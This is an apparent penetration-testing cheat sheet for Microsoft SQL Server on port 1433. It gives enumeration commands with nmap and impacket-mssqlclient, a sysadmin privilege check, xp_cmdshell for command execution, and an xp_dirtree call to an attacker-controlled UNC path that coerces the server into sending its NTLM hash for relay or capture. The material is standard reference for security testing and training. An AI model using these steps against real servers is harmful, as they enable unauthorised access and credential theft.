ports/1433
1433/tcp
MSSQL · Microsoft SQL Server
A database that is also a foothold. Service accounts often have more rights than they should, xp_cmdshell turns a query into a shell, and the server can be coerced into authenticating to you.
ProtocolTCP
Servicems-sql-s
Default onWindows servers
AuthSQL login, Windows (NTLM/Kerberos)
01
Enumerate
start hereLog in with your credentials, check your privileges, then try command execution.
# version and instance info nmap -p 1433 --script ms-sql-info $IP # authenticate and look at what you can do impacket-mssqlclient '$DOMAIN/$USER:$PASS'@$IP -windows-auth # coerce the server to authenticate to you (for relay/capture) # (inside mssqlclient) EXEC master..xp_dirtree '\\10.10.14.7\share'
02
Weaknesses
check each one CHECK HOW TO TELL WHAT IT GIVES YOU
sysadmin service account
SELECT IS_SRVROLEMEMBER('sysadmin') = 1 xp_cmdshell, code execution xp_cmdshell available
Enablable as sysadmin Shell as the service account Coercible
xp_dirtree to a UNC path you control The service account's NTLM for relay Treat MSSQL as an identity as much as a database. The login you use runs as a Windows service account, and that account’s privileges — plus xp_cmdshell and UNC coercion — are usually the fastest way off the box.